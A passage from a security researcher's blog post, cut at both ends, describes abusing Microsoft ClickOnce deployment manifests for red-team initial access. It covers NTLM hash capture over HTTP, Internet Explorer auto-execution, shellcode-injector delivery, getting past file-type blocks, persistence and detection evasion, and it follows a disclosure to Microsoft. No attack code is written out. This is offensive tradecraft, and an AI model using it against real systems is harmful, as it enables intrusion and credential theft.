files on disk should catch this anomaly.<o:p></o:p></p><p class="MsoNormal"><o:p> </o:p> </p>Davehttp://www.blogger.com/profile/17081446936005057389noreply@blogger.com0tag:blogger.com,1999:blog-8176792450471116129.post-38570974455812356292020-07-30T09:35:00.007-05:002020-09-25T13:56:51.010-05:00One Click to Compromise -- Fun With ClickOnce Deployment Manifests<div><b>Note:</b></div><div>I submitted a report to MSRC regarding the hash-disclosure
vulnerability associated with ClickOnce deployment manifests. After review I got
a response back earlier in July where it was noted that the vulnerability did
not meet the bar for immediate servicing and was given the green light to
disclose.</div><div><b><br /></b></div><div><b>Edit 9/22: </b></div><div>MS has remediated the NTLM-disclosure part of this issue as of KB4576630 <a href="https://support.microsoft.com/en-us/help/4576630/kb4576630">https://support.microsoft.com/en-us/help/4576630/kb4576630</a> However, this method will still work as a delivery mechanism for stage-0 payloads.</div><div><p class="MsoNormal"><o:p></o:p></p><p class="MsoNormal"><b>TL;DR</b></p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal">ClickOnce Deployment Manifests are a relatively unknown way
to both get an initial payload into an environment as well as remotely retrieve
NTLM challenge-response hashes over HTTP.
Hash retrieval occurs on initial file open (before any warnings pop)
meaning that even if the user opts to close out on the warning, we still have a
hash we can attempt to crack. <o:p></o:p></p>
<p class="MsoNormal">IE also has some interesting interactions with these files
and will automatically execute a manifest upon browsing to it – even on an
internet-zoned site. This means that on
a hyperlink click we’ll be getting an NTLMv2 remotely over HTTP at a minimum (if
the remote user is configured with IE as their default browser) and can get a
shell with one more click. This also
gives us several different options for execution, as the deployment manifest
can be sent directly as an attachment, embedded into an HTML and hosted, or
hosted on a webserver and linked directly to via hyperlink. For
the POC|GTFO crowd, here’s demos of two different methods that could be used:<o:p></o:p></p>
<p class="MsoNormal"><b>Run via IE + hyperlink click:<o:p></o:p></b></p><p class="MsoNormal"></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvBlEkGtO4XgXlKO41FNvBd3ZyIP2o3l9eSir8fq_e5h_YdA2fMx4-AC7e6lKkqbDlLmTb71ro9CPS0FtZPrxr-shtiKtd7xNN146klFBWY_tOP0BrhGn2evpQF1d99vYq48KAkG4FUFA/s800/testManifestIE.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="450" data-original-width="800" height="549" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvBlEkGtO4XgXlKO41FNvBd3ZyIP2o3l9eSir8fq_e5h_YdA2fMx4-AC7e6lKkqbDlLmTb71ro9CPS0FtZPrxr-shtiKtd7xNN146klFBWY_tOP0BrhGn2evpQF1d99vYq48KAkG4FUFA/w976-h549/testManifestIE.gif" width="976" /></a></div><b><br /></b><p></p><p class="MsoNormal"><b>Run via web delivery:</b></p>
<p class="MsoNormal"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLn8IE3GXz1x1bjBNvQJ_CtWTxgm3Eg2Zr0R3BcYYsjYiXAyCXCka5ahVYKHUv69eSncY5GMolHha1RgPfABeWuhQqDrXsTGMZAiLQ5dgn0mDxzbqsxfeuLYGSPT3NjtXZiH5bRfkADYY/s800/testManifest.gif" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="450" data-original-width="800" height="439" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLn8IE3GXz1x1bjBNvQJ_CtWTxgm3Eg2Zr0R3BcYYsjYiXAyCXCka5ahVYKHUv69eSncY5GMolHha1RgPfABeWuhQqDrXsTGMZAiLQ5dgn0mDxzbqsxfeuLYGSPT3NjtXZiH5bRfkADYY/w781-h439/testManifest.gif" width="781" /></a></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal"><b>Background and ClickOnce Execution Process<o:p></o:p></b></p>
<p class="MsoNormal">A few months ago I was on an assessment for a client that
had done a pretty solid job of locking down the ‘standard’ types of payloads we
would use to try and get an initial foothold in their environment (HTA’s, all
types of WScript payloads, macros / DDE, etc.).
In my efforts to find payloads that would get us execution on their
systems, I happened to stumble across the “.application” file extension, which
after a quick google search got me to a Microsoft article on deploying
applications to systems over a corporate network with ClickOnce Deployment
Manifests. This seemed like an
interesting lead, so I spent a bit of time digging into them further, and ended
up finding quite a bit more good info about them.<o:p></o:p></p>
<p class="MsoNormal">ClickOnce was designed to be used as a deployment technology in enterprise environments and allows for the creation of self-updating C# or C++ applications that can be installed and ran with minimal user interaction (<a href="https://docs.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment?view=vs-2019">https://docs.microsoft.com/en-us/visualstudio/deployment/clickonce-security-and-deployment?view=vs-2019</a>). The deployment process consists of several steps
and various manifest files, which are really just XML's. First, a
deployment manifest (.application) file is somehow executed by the end-user (file
click, browse via IE, etc.). Upon this first open of the deployment manifest, Windows loads the
ClickOnce runtime (dfsvc.exe), which parses this initial file and handles all
additional calls out to grab other required files. Applications spawned via ClickOnce
deployment are children of the ClickOnce process: </p><p class="MsoListParagraph"><o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsSyPvDKQL9AfQVMxeSAREvusr_inV25VN6M6aX_SA_hrhL0ZQ-46iJ7xzDu7uBocyYdu4X4BS5U2SKU7XAlxFbW89gSWaXFV3UoploHksRsxxrfrQq2eDp6wVZy0G_igR0HYFI7TnvQM/s728/19.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="36" data-original-width="728" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsSyPvDKQL9AfQVMxeSAREvusr_inV25VN6M6aX_SA_hrhL0ZQ-46iJ7xzDu7uBocyYdu4X4BS5U2SKU7XAlxFbW89gSWaXFV3UoploHksRsxxrfrQq2eDp6wVZy0G_igR0HYFI7TnvQM/d/19.png" /></a></div><p></p>
<p class="MsoNormal">The first file dfsvc pulls in is the remotely hosted version
of the same deployment manifest that it is currently parsing, which is done in
order to determine if updates to the deployment have occurred and need to be
processed. The version numbers are
compared, and if the most current version is not installed, dfsvc will use the
relative pathname of the application manifest (relative to the included path to
the deployment manifest) to next request this second manifest file:<o:p></o:p></p>
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5idGzs5gzJL8JYbMfRLoTng4V5GyGQTNsRAONuF3tBkauEu4yfeg5U_gAYsX7Sy4Wcwf0EWWGV4wIEKS39g1jPcNa6uZhkWpoTgi0O3S05UM9AKys6n7WIw1Df1rWwbVSkzHl668gbDo/s862/24.png" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="178" data-original-width="862" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5idGzs5gzJL8JYbMfRLoTng4V5GyGQTNsRAONuF3tBkauEu4yfeg5U_gAYsX7Sy4Wcwf0EWWGV4wIEKS39g1jPcNa6uZhkWpoTgi0O3S05UM9AKys6n7WIw1Df1rWwbVSkzHl668gbDo/d/24.png" /></a><br />
<p class="MsoNormal">This second file (application manifest / .manifest) is then
parsed by the runtime. It contains more
configuration options than the initial manifest, as well as relative paths to
the files that need to be deployed to the remote system. The entire deployment process took me a bit
of time to get my head around, but it can be summed up with the following
example:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd1hC8biHMgEKqkF9UQdBGivf1nGfaf0kiXE0ly6bccwDuiwhgDEipGYwCIk1QZ2ediWZ7TaJeSslK8x5gM-Olw89w1FGeQnIbLB3a16eURbcgy91kdytrYjFFxQus0OWICtqHW7yxyis/s556/25.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="64" data-original-width="556" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjd1hC8biHMgEKqkF9UQdBGivf1nGfaf0kiXE0ly6bccwDuiwhgDEipGYwCIk1QZ2ediWZ7TaJeSslK8x5gM-Olw89w1FGeQnIbLB3a16eURbcgy91kdytrYjFFxQus0OWICtqHW7yxyis/d/25.png" /></a></div><p class="MsoListParagraphCxSpFirst" style="margin-left: 0.75in; mso-add-space: auto; mso-list: l1 level1 lfo3; text-indent: -0.25in;">1.<span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span><!--[endif]-->Initial call to the server to grab the
deployment manifest, this is what kicks off the ClickOnce runtime on the remote
system<o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left: 0.75in; mso-add-space: auto; mso-list: l1 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]-->2.<span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span><!--[endif]-->The now-running ClickOnce runtime connects back
to our system, requesting a server-side copy of the deployment manifest its
currently running to check for version updates.
It determines that although there are no deltas, there is no local
installation of this manifest on the remote host, so it proceeds to request the
application manifest.<o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="margin-left: 0.75in; mso-add-space: auto; mso-list: l1 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]-->3.<span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span><!--[endif]-->The runtime next requests the application
manifest, which contains paths to the files to be installed on the remote
system.<o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="margin-left: 0.75in; mso-add-space: auto; mso-list: l1 level1 lfo3; text-indent: -0.25in;"><!--[if !supportLists]-->4.<span style="font-size: 7pt; font-stretch: normal; font-variant-east-asian: normal; font-variant-numeric: normal; line-height: normal;">
</span><!--[endif]-->In our simple example, the only file in our
deployment is a shellcode injector, which is requested by the remote system,
downloaded, and ran, prompting the user if they want to execute or not.<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal"><b>Testing and Use Cases</b><o:p></o:p></p>
<p class="MsoNormal">After getting a better idea of the above process, I set
about creating a super simple deployment manifest to test the functionality out;
using the guide here was quite helpful: <a href="https://docs.microsoft.com/en-us/visualstudio/deployment/walkthrough-manually-deploying-a-clickonce-application?view=vs-2019">https://docs.microsoft.com/en-us/visualstudio/deployment/walkthrough-manually-deploying-a-clickonce-application?view=vs-2019</a>.
I uploaded the generated files to an Apache server on an AWS box, and found
that I was successfully able to execute the .Net assembly I had included in the
project after clicking through a security warning. Having
success here, my next thought immediately went to authentication – since we’re
forcing a remote system to connect to a server of our choosing, I was curious
if it would actually go through and complete an NTLM authentication. I quickly fired up Responder on the remote
system, attempted to re-download the manifest, and saw the following
immediately upon opening the file, even before accepting the execution warning: </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4c3mfT4nzGBhiYxKjgObjJddeS-aYFLQrw-Zar-dnbbQoh6TNxWmrNoFJ5g-7VlOBemsrXCU2W_nHhLuRUjirEzM8svgAyCUu8cW5u-CKkIf9CYJ3BOiSGJq39d5GZaN02dCBgqs2D4g/s505/20.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="141" data-original-width="505" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4c3mfT4nzGBhiYxKjgObjJddeS-aYFLQrw-Zar-dnbbQoh6TNxWmrNoFJ5g-7VlOBemsrXCU2W_nHhLuRUjirEzM8svgAyCUu8cW5u-CKkIf9CYJ3BOiSGJq39d5GZaN02dCBgqs2D4g/d/20.png" /></a></div><p></p>
<p class="MsoNormal">At this point I was most definitely interested and started
doing a bit more research to see if anyone had done anything from a payload
perspective with these before. I found a
page on LOLBAS which referenced a talk that @SubTee gave that had a slide on
them from back in 2015, but outside of that there really wasn’t much (<a href="https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/">https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/</a>). However, I’m still always amazed at how bad
I am at googling things, so if there is more info out there on this type of
payload, my bad.</p><p class="MsoNormal">Edit: yep, I'm still bad at googling stuff. <a href="https://twitter.com/0xF4B0">@0xF4B0</a> gave a talk on ClickOnce last year at BlackHat, his talk + whitepaper cover some different use-cases and setup methods for deployment manifests. I would highly recommend giving it a read: <a href="https://www.blackhat.com/us-19/briefings/schedule/index.html#clickonce-and-youre-in---when-appref-ms-abuse-is-operating-as-intended-15375">https://www.blackhat.com/us-19/briefings/schedule/index.html#clickonce-and-youre-in---when-appref-ms-abuse-is-operating-as-intended-15375</a></p><p class="MsoNormal"><span> </span>To ensure this wasn’t just something tied to the systems I
was testing with being on the same local network, I next created a new manifest
that pointed to an externally-facing IP, and re-sent the application manifest
file to myself across two different email providers. Upon receiving the attachment and opening I
was greeted with a very standard ‘open-save-cancel’ dialog box, and upon
clicking it I once again immediately got an NTLMv2 challenge-response hash back
on my remote system.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmTYeWtScSfaawE3Fbbu2mfYra2rpeu0RRCcqLPtuRffdm443kGRCgK_yB-nBjo6elVh_y1Cv776sQJw4dtyYiwM-FJA-fF5vQLVPS99Phl7v2k4EEdUu_PcZ9CE2JJGY1Zbnl3tIdTMY/s960/16.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="50" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmTYeWtScSfaawE3Fbbu2mfYra2rpeu0RRCcqLPtuRffdm443kGRCgK_yB-nBjo6elVh_y1Cv776sQJw4dtyYiwM-FJA-fF5vQLVPS99Phl7v2k4EEdUu_PcZ9CE2JJGY1Zbnl3tIdTMY/d/16.png" /></a></div><p class="MsoNormal">If I wanted to continue past just getting a hash here, in
order to get to the point I would actually be able to execute code on the
remote system, one additional warning message must be clicked through as well:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0ZjlSCZrz7CmIOw_nVGS6lWSUX6SkRgXMNRFRhs0nlcYB4_aZPWpZUtZ5_G76QODFacvw5fd9-K4X2IbVKVuWXWQvOOBhkBfwq6PQoY8WPoM1WAb-7MWeEisKYh1WVy1_XFDIJgil0b8/s590/10.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="351" data-original-width="590" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0ZjlSCZrz7CmIOw_nVGS6lWSUX6SkRgXMNRFRhs0nlcYB4_aZPWpZUtZ5_G76QODFacvw5fd9-K4X2IbVKVuWXWQvOOBhkBfwq6PQoY8WPoM1WAb-7MWeEisKYh1WVy1_XFDIJgil0b8/d/10.png" /></a></div><p class="MsoNormal">Note: having a valid code signing cert makes this error look
less scary </p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal">When the assembly is ran, it is downloaded to disk (located
in the \Users\*user*\AppData\Local\ Apps\2.0\*randomChars* folder). For that reason I would recommend keeping
your stage-0 pretty small & keeping shellcode or anything risky in
additional files downloaded as a part of your manifest that are referenced from
your assembly, no differently than keeping any other initial payload sent via
macro / attachment / web delivery compact. I would probably also migrate off
any processes ran out of here immediately and then remove the folder structure
unless you want to use it in the future as a persistence mechanism. <o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTtf0eqNCa_Ez1fazCXiXYmsu4943HNhpAP375pETbQiuK3VB8YOESqEb2whkt_LdPYffgCAFlZu-XUm1kL2cMgBovoGw1vRK2DZLArHCsVFXvpVXxUP47dWk5tzNED29I2xEInvLexB4/s461/11.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="138" data-original-width="461" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTtf0eqNCa_Ez1fazCXiXYmsu4943HNhpAP375pETbQiuK3VB8YOESqEb2whkt_LdPYffgCAFlZu-XUm1kL2cMgBovoGw1vRK2DZLArHCsVFXvpVXxUP47dWk5tzNED29I2xEInvLexB4/d/11.png" /></a></div><p class="MsoNormal">While it’s great and all that we can execute basically any
.net code we want this way, what I found most interesting about this filetype
was the ‘no warning’ remote hash disclosure over HTTP. This grants us the ability to still get
‘some’ value out of a click, even if actual execution fails or is cancelled by
the user. However, there really wasn’t a
great solution that I was able to find that handled both delivery of multiple
files, as well as collection of hashes. </p><p class="MsoNormal">After a weekend of messing around with a
variety of types of webservers and the impacket libraries, I finally settled on
modifying some of the functionality that already existed within the Responder
project (<a href="https://github.com/lgandx/responder">https://github.com/lgandx/responder</a>)
to allow for both hash retrieval and file delivery. I’ve got more details on these changes down
in the ‘Building ClickOnce Deployment Manifests’ section below, but really what
I put together was really intended only as a PoC and not something that I
recommend copying without some pretty substantial improvements. </p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal">With this setup in place, I tossed the initial application
manifest payload (.application) into an html, which my hybrid Responder / web
server hosted as well. Testing this
whole execution chain yielded the following from a server-side perspective:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKNoGFaVyOYUuFM_dGV2Aebr1rU2SXrq1MZPBVI6-If9qtuW8z8kSGWEU1keM4MTzkBHL9r2pncuc1VR7S67si-mw21io8vuSt2Uthr6aQ9R8XVkeG8K0d9wgkqhx0bQsnADvcBWSMJyg/s736/21.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="360" data-original-width="736" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKNoGFaVyOYUuFM_dGV2Aebr1rU2SXrq1MZPBVI6-If9qtuW8z8kSGWEU1keM4MTzkBHL9r2pncuc1VR7S67si-mw21io8vuSt2Uthr6aQ9R8XVkeG8K0d9wgkqhx0bQsnADvcBWSMJyg/d/21.png" /></a></div><p class="MsoNormal">Up until this point I had been testing my payloads almost
exclusively by tossing a deployment manifest onto the desktop of one of my VM’s
and then double-clicking it for the initial execution vector. This worked well from a speed-of-testing
perspective, but wasn’t a great representation of a ‘realistic’ attack vector
(psshhh…). As I started working through
various deployment methods I turned off my Responder server and was once again
testing with a default Apache setup.
During this time I found that if I navigated directly to my web-hosted
deployment manifest using IE it would automatically execute, without even
prompting me with an open/save dialog.
This behavior was quite interesting, and after comparing some traffic
captures in Wireshark I made some additional changes to my HTTP server that
allowed for NTLM capture remotely over HTTP while also delivering a payload
transparently, allowing us to get down to a true ‘One Click’ deployment:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPRR7hQLBVSKbnloitJVzjYtsAO2Ti_wrTimoKYf7bp8d02EtvOxsuUYqVBiNnK9_4DjFLKOob5snFcoRoqU9gVVWTlX7Mp_WspULyx2BPeyQboLu6TL-NKPA8YrtZgxlKkorybdLUxl4/s1047/26.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="521" data-original-width="1047" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPRR7hQLBVSKbnloitJVzjYtsAO2Ti_wrTimoKYf7bp8d02EtvOxsuUYqVBiNnK9_4DjFLKOob5snFcoRoqU9gVVWTlX7Mp_WspULyx2BPeyQboLu6TL-NKPA8YrtZgxlKkorybdLUxl4/d/26.png" /></a></div><p class="MsoNormal">As I kept digging into why the ClickOnce runtime was being
automatically loaded by IE, I found that this was actually the expected /
default behavior when opening manifest deployment files:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivif6BEXDYvczo0_U3GWmXnbrMGZTs_86_5x1HKJtGfY9UUbfAt5cFw-Jktkn69hgzAqiQiddebgQIsz7iT77kxmZf3qr8qGCS3PqCJLXlDxTkesiGYkApJz_F4Oo4e2HaFKV-PGwBOD8/s768/27.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="150" data-original-width="768" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEivif6BEXDYvczo0_U3GWmXnbrMGZTs_86_5x1HKJtGfY9UUbfAt5cFw-Jktkn69hgzAqiQiddebgQIsz7iT77kxmZf3qr8qGCS3PqCJLXlDxTkesiGYkApJz_F4Oo4e2HaFKV-PGwBOD8/d/27.png" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Nzzkt7qMfWsBHVha8swd93WoofNAd4Dv6tFWJRdFBycXFZXr2QEDUFlgcWy6hSC_SSjX5e7HmCeUrhmKr3_rAOmeW-biMJahg-ArWplllLsO5dagoEOMm3vy5J5g6UeqMEWYRIiyLBA/s753/28.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="753" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Nzzkt7qMfWsBHVha8swd93WoofNAd4Dv6tFWJRdFBycXFZXr2QEDUFlgcWy6hSC_SSjX5e7HmCeUrhmKr3_rAOmeW-biMJahg-ArWplllLsO5dagoEOMm3vy5J5g6UeqMEWYRIiyLBA/d/28.png" /></a></div><p class="MsoNormal">At this point I spent more time looking at some of the
specific features of different configuration options within the manifests
themselves, but from an actual delivery perspective there wasn’t really
anything new beyond this. Below, I’ve
included some of the other unique features of the manifests that have potential
applications, as well as a step-by-step on creating deployment manifests if
you’re interested in trying out:</p><p class="MsoNormal"><br /></p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p><b>.Deploy Extension</b></p>
<p class="MsoNormal">Some organizations may have perimeter controls in place
blocking inbound downloads of .exe / .dll files from unstrusted sources. ClickOnce manifests give us a way to get
around some of these by including the following option in the deployment
options tab of the deployment manifest build process:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91GmJGz9AtIfkdIDh3qUvp29L_GfN1Ol57LakePMSKg1iXdmZ-7I6S_NFnng-LDo4_h2SONiusEJOOgmKyYFFlPNghVkbGi2LIzUQaBYZgH4sId4hiZ4DlK0XhKlYuBnqotAWRkShhXI/s410/34.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="79" data-original-width="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj91GmJGz9AtIfkdIDh3qUvp29L_GfN1Ol57LakePMSKg1iXdmZ-7I6S_NFnng-LDo4_h2SONiusEJOOgmKyYFFlPNghVkbGi2LIzUQaBYZgH4sId4hiZ4DlK0XhKlYuBnqotAWRkShhXI/d/34.png" /></a></div><p class="MsoNormal">With this option checked you would just need to toss on an
extra ‘.deploy’ to the end of every file you’re deploying (ex.
shellcodeInjector.exe.deploy). The
ClickOnce runtime will download the .deploy files over the wire, and then
strip off the extra extension on the remote system before saving and running.</p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal"><b>Usage as a Persistence Mechanism<o:p></o:p></b></p>
<p class="MsoNormal">The last cool thing I found about manifests is their
potential usage as a persistence mechanism.
After initial install of a manifest, further runs of the
already-installed manifest no longer prompt the user with a security warning, because no new files are downloaded if the ClickOnce runtime performs its version check and finds no updates on the server-side manifest. Paired with the previously noted Internet
Explorer interactions, this can allow for a shell callback by simply running IE
and pointing it to an externally hosted .application file:<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSiSYpC6CLN6yqek9lf15bMyd2PMoxX3QaevztKrWUqnGX1Ijsp5hqa5_9m_U1aiVoJRTtkKFUD42DogzINNoNKojUPMj8meZEDy188xnQKKEIDwgX031G6NWUA4tqIfKdKcWXE-wBsXk/s393/33.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="198" data-original-width="393" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSiSYpC6CLN6yqek9lf15bMyd2PMoxX3QaevztKrWUqnGX1Ijsp5hqa5_9m_U1aiVoJRTtkKFUD42DogzINNoNKojUPMj8meZEDy188xnQKKEIDwgX031G6NWUA4tqIfKdKcWXE-wBsXk/d/33.png" /></a></div><p class="MsoNormal">While at the end of the day there is still a .exe on disk
that’s being called by this, and you could just as easily set up a persistence
mechanism to call it directly, this was a bit interesting to me as it allows us
to set up a mechanism that instead calls IE and gives the remotely hosted
manifest as an arg.</p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal"><b>Building ClickOnce Deployment Manifests<o:p></o:p></b></p>
<p class="MsoNormal">Requirements: Visual Studio (I’m using VS 2019 in this
example)<o:p></o:p></p>
<p class="MsoNormal">Note: This walkthrough uses a tool installed with Visual
Studio called MAGE, but everything covered here can also be done through Visual
Studio directly as well.<o:p></o:p></p><p class="MsoNormal">Pre-step: In your project in Visual Studio, ensure you go into the 'Application' tab of the project properties, and under the "Manifest" drop-down, select "Create application without a manifest". If this is not selected you will not be able to deploy your application using ClickOnce and the below steps.</p>
<p class="MsoNormal">To start, open up the developer command prompt for VS
2019. From here type in ‘mage’. This loads the Manifest Generation and
Editing tool GUI (MAGE) <o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYgE7oNxGt7qL81U8pErXc9OHeR55mw08U-fr9UOV25NJmAnwLScOTyEG0KJWqVHJswKel8pXlnnnC7ReTl-c8sQkMqYDyjBfsQSljlgtUEPMcUurkuBm9abTtp4N0JrHMRTARrYnPIMo/s910/1.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="485" data-original-width="910" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYgE7oNxGt7qL81U8pErXc9OHeR55mw08U-fr9UOV25NJmAnwLScOTyEG0KJWqVHJswKel8pXlnnnC7ReTl-c8sQkMqYDyjBfsQSljlgtUEPMcUurkuBm9abTtp4N0JrHMRTARrYnPIMo/d/1.png" /></a></div><p class="MsoNormal">We’ll be working backwards here, first creating an
application manifest (the second stage in the delivery chain) before creating
our initial deployment manifest. To
create this manifest, click the left-most button directly under the file menu. After creating the application manifest,
begin to configure it by selecting the appropriate processor architecture for
your assembly and giving your manifest a name + version.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihjjwyHUKLRRpcM3Uh3-Ga3ne7ecCQQqAAREcKT1RotSKde-ksPG05YiDdxdy_xnhhqYlLxxKWAvbXpIQXfHx_8LsuG8NgeIBlVAm1JkAKYqm3Ux849eBiCbH9DDwN-s_jz8nW5LWDsGM/s838/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="537" data-original-width="838" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihjjwyHUKLRRpcM3Uh3-Ga3ne7ecCQQqAAREcKT1RotSKde-ksPG05YiDdxdy_xnhhqYlLxxKWAvbXpIQXfHx_8LsuG8NgeIBlVAm1JkAKYqm3Ux849eBiCbH9DDwN-s_jz8nW5LWDsGM/d/2.png" /></a></div><p class="MsoNormal">On the files menu on the left-hand side, select a folder
containing an assembly that is to be configured as a ClickOnce
application. This can be any type of
assembly with a valid entry point, and can be a single file or multiple files
of various types (ex. a .exe and a .txt file containing the shellcode to
execute, etc.). This can allow you to do
some pretty neat stuff, for example to evade detections I built a payload that
had functions in different files and referenced base64-encoded shellcode I had
stored as a string in a text document that was also downloaded by the manifest.</p><p class="MsoNormal"><o:p></o:p></p>
<p class="MsoNormal">If you don’t have a specific folder set up for this
deployment manifest yet, I would do so now in order to keep track of the
variety of files you’ll be creating. I
recommend creating a subfolder for your application manifest in this new
folder, as when linking it to your deployment manifest, MAGE will always take
the current folder the application manifest is in as a part of the file path
(more on this later).<o:p></o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMph9L97GI-xE7j03PFq5Udi9ov6ykqUHTVMi6HRurZh-dt6bednxRhfPU0uqhI5g0d7LcrwDxPhxl7tDC1OYqgW1NwsPIOgJYX4BbV_AG5HASZUX0QR3A9bG-pSHqUSmY5qb3IKgaMNw/s837/3.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="535" data-original-width="837" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMph9L97GI-xE7j03PFq5Udi9ov6ykqUHTVMi6HRurZh-dt6bednxRhfPU0uqhI5g0d7LcrwDxPhxl7tDC1OYqgW1NwsPIOgJYX4BbV_AG5HASZUX0QR3A9bG-pSHqUSmY5qb3IKgaMNw/d/3.png" /></a></div><p class="MsoNormal">Everything else should be good to leave at default
values. When done, save the application
manifest. Either sign the code with a
